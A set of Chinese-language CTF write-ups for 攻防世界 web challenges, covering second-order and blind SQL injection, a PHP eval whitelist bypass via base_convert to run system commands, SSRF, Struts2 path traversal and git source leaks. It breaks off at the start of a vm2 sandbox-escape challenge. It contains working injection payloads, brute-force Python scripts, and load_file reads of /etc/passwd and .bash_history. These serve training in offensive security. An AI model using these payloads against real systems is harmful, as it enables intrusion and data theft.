		#$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}");#更新名字为新名字老命自为低了那么
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];#老名字等于路径加文件名加扩展名
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];#新名字等于上传路径加新名字加扩展名
		if (file_exists($oldname)) {#如果老命字存在的话
			rename($oldname, $newname);#重名名老命字为新名字
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}
}
?>

这里是rename重命名首先这里面的数据是从数据库中掏出来的,而从数据库中出来的数据会将在添加如数据库之前的\进行去除,那么这里就有可能造成二次注入 ,也就是先填入数据库中,在从数据库中取出来,在拼接到后面的语句上,造成二次注入.这里还有对extension与输入文件名的拼接操作,这里如果new文件名为1.php,并且extension为空的话就可以构造出.php为后缀的文件.

那么我们反过来看要输入一个新文件名字为1.php并且extension为空的话就可以利用.file_exists还要存在,这里的存在的老名字是全体名字也就是1.txt.也就是存在一个1.txt的文件那么我们要使1.txt的extension的值为空就需要利用update来注入

$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}");#更新名字

也就是上传一个’,extension='.txt为后缀的文件名的文件,这里会将.txt去除因此最后拼接起来就将1.txt的extension值替换为空了,但是仔细考虑,这里接着会继续向下走,会把名字拼接成1.txt.txt,但是此时数据库里的值是

filename=1.txt extension=""

但是这里是数据库里的值,真正的upload目录下是没有1.txt这个文件的.而是1.txt.txt文件,那么如果需要绕过file_exists()的话就需要再次上传1.txt文件.

接着就是对1.txt文件改名,前面我们已经说过了,现在数据库里的1.txt文件的extension值为空,那么我们对他进行重命名时会,从数据库里去除extension的值与新文件名进行拼接,那么如果上传一个1.php就会变成1.php+''为1.php

image-20220313205016785

image-20220313205305278

image-20220313205436774

image-20220313205517709

image-20220313205547018

image-20220313205633638

连接即可

love_math攻防世界

扫目录

image-20220314111502981

image-20220314111534555

这题真简单…

打开网页得到源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){#如果没有设置c参数就显示源码
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];#将得到的c赋给
    if (strlen($content) >= 80) {#要是长度大于80就输出
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];#黑名单
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {#m表示多行匹配
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos',
        'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite',
        'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi',
        'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);#匹配完的结果放到funcs数组里面,这里的preg_match_all将匹配到的元素放在一层数组里面
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {#如果不在数组里
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');#eval输出c
}

这个匹配规则能过的

abs(1)	匹配出abs能过
1abs()	匹配出abs能过
absa()	匹配出absa不能过
abs(a)	匹配出abs和a,a不在不能过
abs()a	匹配出abs和a,a不在不能过

思路一

拼接裁剪的方式,首先不能加入其他的字符,只能使用上面的字符

payload:$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

这段payload分为三部分,

  • 首先定义一个变量名$pi,因为pi在白名单中最短,其值为phpot.min.fmod,因为hypot min fmod均在白名单中,而且phpinfo中的所有字符均可以在其中找到
  • 然后从hypot.min.fmod中分别取第2 0 2 6 7 8 3位置的字符,拼接成phpinfo字符串,并重新赋值给$pi变量
  • 最后执行$pi(),即执行phpinfo()函数.

image-20220314113632005

但是根据这个思路去getflag,怎么也会超过长度

而其中的关键是base_convert()函数

base_convert() 函数在任意进制之间转换数字。
语法
base_convert(number,frombase,tobase);参数 	描述
number 	必需。规定要转换的数。
frombase 	必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 	必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
技术细节
返回值: 	number 转换为指定进制。
返回类型: 	String
PHP 版本: 	4+

这里可以使用16进制,还可以使用36进制,可以带上所有小写字母

36进制,是数据的一种表示方式,同我们日常生活中的表示方法不一样,它由0-9,a-z组成,字母不区分大小写,与十进制对应的关系是0-9对应0-9,a-z对应10-35

那么接下来我们就可以进行转换了,既然字母会有过滤我们就可以将字母转换成十进制的数字,在使用baseconvert(10,36)转换回来

<?php
echo base_convert('phpinfo',36,10);
#55490343972
<?php
echo base_convert(55490343972,10,36);
#phpinfo
payload:base_convert(55490343972,10,36)()

image-20220314115340498

接着我们使用system(‘ls’),这里因为不能转换()和’'只能转换字母

<?php
echo base_convert('system',36,10);
echo "\n";
echo base_convert('ls',36,10);
#1751504350
#784
payload:base_convert(1751504350,10,36)(base_convert(784,10,36))

image-20220314115838995

接下来就是读取flag了,如果直接使用读取文件的函数file_get_contents中包含下划线,不在我们36进制之中,并且base_convert()的第一个参数太长会溢出,也就是10进制数没法无限大

思路二

借助getallheader()来控制请求头,通过请求头字段读取flag.php.这里也就类似于get,post之类的,但是只能控制小写字符,所以大写的直接被pass掉.getallheader()返回的是数组,要从数组里面取数据用array[‘xxx’].但是[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以分会自定义头1里面的内容

payload:c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
#exec(getallheaders(){1})

exec() 执行 command 参数所指定的命令。

base_convert(696468,10,36); 代表把696468从10进制转换为36进制,结果为exec。

base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制,结果为getallheaders。注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)

image-20220314121125721image-20220314121409610

思路三

使用system(nl*)

payload:($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

base_convert(1751504350,10,36) -------->system

$pi(1438255411,14,34) ------>hex2bin

dechex(1852579882) ----->将十进制转为十六进制:6e6c202a(字符串形式是:nl *)

nl *可以读取当前目录下的所有文件;

攻防世界isc-2

扫目录image-20220314173657709

download.php

image-20220314173750346

downloads

目录有文件浏览漏洞

login

下有个paper

image-20220314173902436

点一下跳转到

http://111.200.241.244:65396///index.php/login/download.php?dl=ssrf

下载下来一个pdf里面是多半是ssrf

image-20220314174342021

js

image-20220314174023371

secret

image-20220314174047400

secret.php

image-20220314174517774

image-20220314174949746

secret_debug.php

image-20220314174635982

显示ip错误,那么这里就应该是ssrf的利用.这里是secret_debug.php说明结构应该和secret差不多,那么这里就可以注入了.

这里小试一下sql注入

image-20220314192223424

"txtfirst_name":"1'",	#单引号出现报错
 right syntax to use near '3','4','5','01/10/2019','3541534')' at line 1"txtfirst_name":'1"',  	#回显正常
 right syntax to use near '5','01/10/2019','1516838')' at line 1  

并且在那么处爆了一个4

image-20220314192746161

说明txtLast_name这里有回显,那么我们需要将语句构造到这里那么的话就需要使用/**/进行闭合一下下

image-20220314193105531

最终闭合之后在4处回显数据库名称

image-20220314193137234

python

import random
import urllib.parseimport requestsurl = 'http://111.200.241.244:65396/download.php'
s1 = 's=3&txtfirst_name=w%27%23&txtmiddle_name=q&txtLast_name=q&txtname_suffix=w&txtdob=22%2F11%2F1111&txtdl_nmbr=1234561&txtRetypeDL=1234561&btnContinue2=Continue'
s1 = s1.replace('&','","')
s1 = s1.replace('=','":"')
#print(s1)这里替换一下
subquery = "database()"#获取数据库名
#ssrfw
subquery = "select table_name from information_schema.tables where table_schema='ssrfw' limit 1"
#cetcYssrf
subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' limit 1,1"
#secretName
subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' limit 1,1"
#value
subquery = "select value from cetcYssrf limit 1"
#flag{cpg9ssnu_OOOOe333eetc_2018}
id = random.randint(1,10000000)
params = {"s":"3",
          "txtfirst_name":"L','1',("+subquery+"),'1'/*",
          "txtmiddle_name":"q",
          "txtLast_name":"q",
          "txtname_suffix":"w",
          "txtdob":"*/,'01/10/2019",
          "txtdl_nmbr":id,
          "txtRetypeDL":id,
          "btnContinue2":"Continue"}
d = 'http://127.0.0.1/secret/secret_debug.php?'+urllib.parse.urlencode(params)
req = requests.get(url,params={"dl":d})
print(req.text)

攻防世界upload

扫目录

image-20220314214713805

有几个配置文件

image-20220314214755557

里面也发现不了什么东西,只能回到register页面

注册一个登进去,发现是一个上传目录的地方

小传一个,回显名称,文件链接呢

image-20220314215208538

说是注入漏洞,我们之间select database()发现只剩下databse() select被替换为了空,那么我们先fuzz一下

image-20220314220327233

这里直接双写绕过过滤

猜测它直接将我们上传的文件存入了数据库
那可能通过文件进行sql注入?
类似insert into 表名(‘filename’,…) values(‘上传的文件名’,…);这样

构造’ select database() '.jpg上传
结果被过滤了

猜测是select或空格被过滤
都改掉:双写select,空格用“+”
构造’+(selselectect database())+'.jpg
返回0
image-20220314221515010

CONV():进制的转换
CONV(N,from_base,to_base)
select conv(16,10,16);
+—————-+
| conv(16,10,16) |
+—————-+
| 10 |
+—————-+
1 row in set (0.04 sec)
N是要转换的数据,from_base是原进制,to_base是目标进制
如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数mysql> select conv(-16,10,16);
+——————+
| conv(-16,10,16) |
+——————+
| FFFFFFFFFFFFFFF0 |
+——————+
1 row in set (0.00 sec)
mysql> select conv(-16,10,-16);
+——————+
| conv(-16,10,-16) |
+——————+
| -10 |
+——————+
1 row in set (0.00 sec)
substr():搜索字符串substr(string string,num start,num length);string为字符串,start为起始位置,length为长度。
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

所以构造

'+(selecselectt substr(database(),1,12))+'

又返回一个0

image-20220314221936675

这里将database进行16进制转码

'+(selecselectt substr(hex(database()),1,12))+'

返回了一个7765625

image-20220314222207808

但是当进行16进制转字符串时却发现,并不是完整数据

image-20220314222322257

说明有截断

那么就使用conv将16进制转换为10进制

'+(selecselectt conv(substr(hex(database()),1,12),16,10))+'

至于这里为什么要截取呢那是因为13太长了转换成十进制会造成科学计数法

image-20220314222928570

'+(selecselectt conv(substr(hex(database()),1,12),16,10))+'
#web_up
'+(selecselectt conv(substr(hex(database()),13,12),16,10))+'
#load
database:web_upload

接着注入表的时候发现from被过滤了

image-20220314223529159

再次双写绕过

'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),1,12),16,10))+'
#files,
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),13,12),16,10))+'
#hello_
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),25,12),16,10))+'
#flag_i
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),37,12),16,10))+'
#s_here
#hello_flag_is_here

得到字段名

'+(selecselectt conv(substr(hex((selecselectt group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'
#i_am_f
'+(selecselectt conv(substr(hex((selecselectt group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'
#lag
#i_am_flag

得到数据

'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'
#!!_@m_
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'
#Th.e_F
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'
#!lag
#!!_@m_Th.e_F!lag

Zhuanxv攻防世界

文件包含下载文件

image-20220308150856182

打开之后可以发现一个时钟页面,这里边点点看,边扫一下目录

image-20220308151039296

挨个打开看看,发现在list下面有一个登录

image-20220308151206877

这里随便点点,抓包看着点

image-20220308151344673

发现有jsession ,但是这里为什么就能确定是java写的呢

Cookie
“jsessionid是一个Cookie,可以通过在URL后面加上“;jsessionid=xxx”来传递“session id”;其中Servlet容器用来记录用户session,当我们创建回话时会自动创建,用来记录用户的访问记录。

紧接着发现一个疑似文件包含的漏洞,一般考Java的题目都会想办法给出源码

image-20220308151613489

那么这里利用这个去尝试去读取…/…/WEB-INF/web.xml文件

/loadimage?fileName=../../WEB-INF/web.xmlWEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:- `/WEB-INF/web.xml`:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- `/WEB-INF/classes/`:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- `/WEB-INF/lib/`:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- `/WEB-INF/src/`:源码目录,按照包名结构放置各个java文件。
- `/WEB-INF/database.properties`:数据库配置文件

image-20220308152100940

有一个struts2

apps-存放了所有Struts2的示例项目docs-存放了所有Struts2与XWork的文档lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放

这里接着读取struts.xml

/loadimage?fileName=../../WEB-INF/classes/struts.xml
HTTP/1.1 200 
Content-Disposition: attachment;filename="bg.jpg"
Content-Type: image/jpeg
Date: Tue, 08 Mar 2022 07:45:12 GMT
Connection: close
Content-Length: 2243<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
	<constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

这里有些class文件

<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
 <action name="loadimage" class="com.cuitctf.action.DownloadAction">
  <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
          <action name="list" class="com.cuitctf.action.AdminAction" method="execute">

这里试着下载class文件试试,将.替换为/再在末尾添加.class

com/cuitctf/action/UserLoginAction.class

image-20220308155313517

image-20220308155624245

接着使用idea反编译,得到登录源码,这里截取了部分有用的源码

    public boolean userCheck(User user) {
        List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if (userList != null && userList.size() == 1) {
            return true;
        } else {
            this.addActionError("Username or password is Wrong, please check!");
            return false;
        }
    }

接着下载classes下面的applicationContext.xml文件

applicationContext.xml

image-20220308160811364

下载userserviceimpl.class
    public List<User> loginCheck(String name, String password) {
        name = name.replaceAll(" ", "");
        name = name.replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
        return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;
    }

找到登录的规则

是登陆语句的过滤规则,在UserDaoImpl.class中找到:

    public List<User> loginCheck(String name, String password) {
        return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }

python脚本

import requests
s=requests.session()flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://111.200.241.244:62308/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)
        #sctf{C46E250926A2DFFD831975396222B08E}

unfinish二次注入,hex二次转码table名爆破

扫到几个目录,注册,登录

1646402390402

1646405859670

可能存在注入,接下来用sqlmap跑一下加上手工测试,sqlmap跑不出来1646405980867

这里发现用户名有回显

1646406044804

邮箱可能没有注入

用户名处单引号注册失败,双引号注册成功,可能存在注入

1646406246721

发现回显

1646406263784

说明存在注入,但是当输入时发现返回nnnnoooo!!!有过滤,过滤了下面这些,这里的表名可能需要猜或者爆破

 username=1' and left(database(),1)>'a'#

1646455044824

这里的注入我采用了admin’+0+’ 与admin’+1+'进行闭合

如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。

1646454371618

而这里可以将database()进行截取并进行ascii编码

1646455373718

但是这里的逗号进行了过滤,那么可以使用from {} for {}

1646455507895

还有可以使用十六进制转换后运算 有疑问,为啥不用二进制或者八进制。用例子来说明:

1646455537394

可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。

mysql> select hex('dvwa{}');
+---------------+
| hex('dvwa{}') |
+---------------+
| 647677617B7D  |
+---------------+
1 row in set (0.00 sec)mysql> select hex('dvwa{}')+'0';
+-------------------+
| hex('dvwa{}')+'0' |
+-------------------+
|         647677617 |
+-------------------+
1 row in set (0.00 sec)
所以需要在进行一次十六进制。mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}'))       |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
|   3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)

又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。

这里还可以使用分段读法。

mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';
+----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |
+----------------------------------------------+
|                                   3634373637 |
+----------------------------------------------+
1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |
+-----------------------------------------------+
|                                    3736313742 |
+-----------------------------------------------+
1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |
+-----------------------------------------------+
|                                          3744 |
+-----------------------------------------------+
1 row in set (0.00 sec)mysql> select unhex(unhex(363437363737363137423744));
+----------------------------------------+
| unhex(unhex(363437363737363137423744)) |
+----------------------------------------+
| dvwa{}                                 |
+----------------------------------------+
1 row in set (0.11 sec)

综上得到了最终payload而这里的表名其实是未知的那么可以通过暴力破解的方法得到

0' + ascii(substr((select * from flag) from 1 for 1)) + '0

首先构造

0' + ascii(substr((select * from flag) from 1 for 1)) + '0

1646457611562

会返回这个,当表名错误时会返回这个

0' + ascii(substr((select * from flag) from 1 for 1)) + '0

1646457666859

那么就可以爆破了,这里就使用了ctf专用字典,在表名这里设置变量

1646457736504

得到表名,接着就可以直接爆破字段

写出python脚本

使用ascii转码

#payload=0' + ascii(substr((select * from flag) from 1 for 1)) + '0
import requests
import reregister_url = 'http://111.200.241.244:63280/register.php'
login_url = 'http://111.200.241.244:63280/login.php'
#payload=0' + ascii(substr((select * from flag) from 1 for 1)) + '0
for i in range(1,100):
    payload = "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i
    #print(payload)
    register_data = {
        'email':'1321@12%d'% i,#更改email的值%i是对%d 的格式化输出
        'username':payload,
        'password':'1'
    }
    res_register = requests.post(url=register_url,data=register_data)    login_data = {
        'email':'1321@12%d'% i,
        'password':'1'
    }
    res_login = requests.post(url=login_url,data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res_login.text)
    '''
        r'<span class="user-name">\s*(\d*)\s*</span>'
        <span class="user-name">表示匹配这些字符
        \s表示匹配空白字符包括空格制表符换行符*表示匹配0个或更多前面的标志
        ()表示捕获分组用来创建一个整体并在下文中进行捕获也就是正则匹配到这个标志式在得到想要的值而()包括的就是想要得到的值
        \d表示匹配任意数字0-9*表示匹配0个或更多前面的标志
        而这里有r前缀表示不识别转义字符因此不用在/前加\转义
    '''
    print(chr(int(code.group(1))), end='')  # group()在正则表达式中用于获取分段截获的字符串 也就是获取捕获分组中的第一组元素的值
    # 接着进行字符串转int类型,在进行int类型转chr类型,这是由于转chr类型的参数只能为int类型所以要先进行str转int
    # 这里的print函数的end=''的含义是原来print默认end为'\n'换行,而这里转换为空

使用hex二次转码

#payload=0' + substr(hex(hex((select * from flag))) from %d for 1) + '0
import binasciiimport requests
import reflag=''
register_url = 'http://111.200.241.244:63280/register.php'
login_url = 'http://111.200.241.244:63280/login.php'
#payload=0' + substr(hex(hex((select * from flag))) from %d for 1) + '0首先进行两次转码接着截取值
for i in range(1,1200):
    payload = "0' + substr(hex(hex((select * from flag))) from %d for 1) + '0" % i
    #print(payload)
    register_data = {
        'email':'13@12%d'% i,#更改email的值%i是对%d 的格式化输出
        'username':payload,
        'password':'1'
    }
    res_register = requests.post(url=register_url,data=register_data)    login_data = {
        'email':'13@12%d'% i,
        'password':'1'
    }
    res_login = requests.post(url=login_url,data=login_data)
   # print(res_login.text)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res_login.text)
    '''
        r'<span class="user-name">\s*(\d*)\s*</span>'
        <span class="user-name">表示匹配这些字符
        \s表示匹配空白字符包括空格制表符换行符*表示匹配0个或更多前面的标志
        ()表示捕获分组用来创建一个整体并在下文中进行捕获也就是正则匹配到这个标志式在得到想要的值而()包括的就是想要得到的值
        \d表示匹配任意数字0-9*表示匹配0个或更多前面的标志
        而这里有r前缀表示不识别转义字符因此不用在/前加\转义
    '''
    flag += code.group(1)
    print(flag)
flag = '36363643363136373742333233343339333436353334363236363330333633373333333436333333333936323635333236353331333633323336363633373335333736323631333436333744'
print(binascii.unhexlify(binascii.unhexlify(flag).decode()).decode())
  
# group()在正则表达式中用于获取分段截获的字符串 也就是获取捕获分组中的第一组元素的值
    # 接着进行字符串转int类型,在进行int类型转chr类型,这是由于转chr类型的参数只能为int类型所以要先进行str转int
    # 这里的print函数的end=''的含义是原来print默认end为'\n'换行,而这里转换为空

load_file函数hex编码读取文件加sql二次注入

爆破密码

1646571686431

留言,随便点点,同时后台扫一下目录

1646571760959

发个贴试试

1646571783457

发现提示爆破,先来1000个数字,一般不能数字加字母吧,服务器也受不了

1646571916582

1646571960130

666就是密码,登进去发现可以发贴了,这里能有注入,因为有回显

1646572039422

git源码泄露之暂存区

这里也扫到了git源码泄露

1646571723906

git源码泄露,直接使用

python2 githack http://111.200.241.244:50508/.git/

但是这里发现代码并不全面而从控制台可以看到提示

1646648718576

这里便使用githacker

python GitHacker.py --url http://111.200.241.244:59917/.git/ --folder result #这里发现只有1.0.2可以

这里接着使用,查看过去命令

git log --reflog

1646652719296

接着回退到这个版本

git reset --hard  e5b2a2443c2b6d395d06960123142bc91123148c

这里就得到完整代码了

<?php
include "mysql.php";#包含mysql.php
session_start();#session开始
if($_SESSION['login'] != 'yes'){#如果login不等于yes
    header("Location: ./login.php");#返回登录
    die();
}if(isset($_GET['do'])){#如果设置了do参数
    switch ($_GET['do'])#选择do参数
    {
        case 'write':#如果do是write
            $category = addslashes($_POST['category']);#对post提交的category数据进行addslashes转码主要转'"%00\
            $title = addslashes($_POST['title']);#addslashes转码'"\null
            $content = addslashes($_POST['content']);#addlashes转码'"\null
           $sql = "insert into board#插入到board表中三个参数
            set category = '$category',
                title = '$title',
                content = '$content'";
            $result = mysql_query($sql);#返回结果
            header("Location: ./index.php");#重定向到index.php
            break;
        case 'comment':#如果是comment参数
            $bo_id = addslashes($_POST['bo_id']);#对bo_if进行addslashes转码'"\null
            $sql = "select category from board where id='$bo_id'";#查询bo_id语句
            $result = mysql_query($sql);#返回查询结果
            $num = mysql_num_rows($result);#返回结果中的行数
            if($num>0){#如果返回大于一条
                $category = mysql_fetch_array($result)['category'];
                #从返回结果中取出数组中category参数的值这里就产生了注入
                #因为在mysql的查询过程中会去除addslashes添加的\ 必如在查询之前category=admin\' 在mysql查询结束过程之后就会变成 admin'
                #而在下面的插入语句之前并未对category进行addslashes转换造成了注入
                $content = addslashes($_POST['content']);#进行addslashes转换
               $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
                $result = mysql_query($sql);
            }
            header("Location: ./comment.php?id=$bo_id");
            break;
        default:
            header("Location: ./index.php");
    }
}
else{
    header("Location: ./index.php");
}
?>

SQL读取文件

用load_file()函数进行读取, 值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL

.bash_history

.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。家目录

.DS_Store文件泄露

文件泄露,有一个下载至本地的脚本,不过这题用不上。

1646657647918

这里先分析一下发包情况

1646657676227

先是写入数据

1646657710507

再是提交留言1646657728687

有过程之后再去分析sql语句发现可以先将aaa’,content=database(),/*注入进入数据库之后在次提交content = */#闭合语句

值得注意的是,这里的sql语句为四行,而#只能注释一行,所以要用/**/ 我们发贴在category处填入categroy = aaa’,content=database(),/*

 $sql = "insert into board #插入到board表中三个参数
            set category = 'aaa',content=database(),/*',
                title = '$title',
                content = '1";
 #先写进去      
  $sql = "insert into comment
            set category = 'aaa',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
                $result = mysql_query($sql);

1646657863486

1646657902849

在提交*/#闭合语句

1646657848469

payload=aaa',content=user(),/*	 */#	#root@localhost

root 接着使用load_file函数读取本地文件

payload=a',content=(select(load_file('/etc/passwd'))),/*

1646658522505

这里找到文件位置之后在读取.bash_history文件

payload=a',content=(select(load_file('/home/www/.bash_history'))),/*

 - 先在/tmp目录下解压压缩包 html.zip,里面有一个`.DS_Store`文件
 - 然后删除压缩包
 - 再将html目录复制到/var/www/目录下
 - 切换到/var/www/html,然后删除`.DS_Store`
 - 但是并没有删除/tmp/html 目录下的`.DS_Store`
payload=',content=(select(load_file("/tmp/html/.DS_Store"))),/*

这里发现载入不全

1646659037118

用16进制显示

payload=1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

1646659216518

这里使用网上的hex解码看不清,我直接使用sql的unhex()函数解码1646660059719

得到 flag _ 8946e1ff1ee3e40f.php,读取文件

payload=a',content=(select(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")))),/*

1646660375847

1646660387961

这里发现是假的

这里发现他进行了目录移动

 先在/tmp目录下解压压缩包 html.zip,里面有一个`.DS_Store`文件
    - 然后删除压缩包
    - 再将html目录复制到/var/www/目录下
    - 切换到/var/www/html,然后删除`.DS_Store`
    - 但是并没有删除/tmp/html 目录下的`.DS_Store`

试一下

payload=a',content=(select(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*

1646660565552

1646660660370

node.js与VM2沙盒逃逸

得到源码

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flag #定义flag变量app.get("/", function(req, res) {
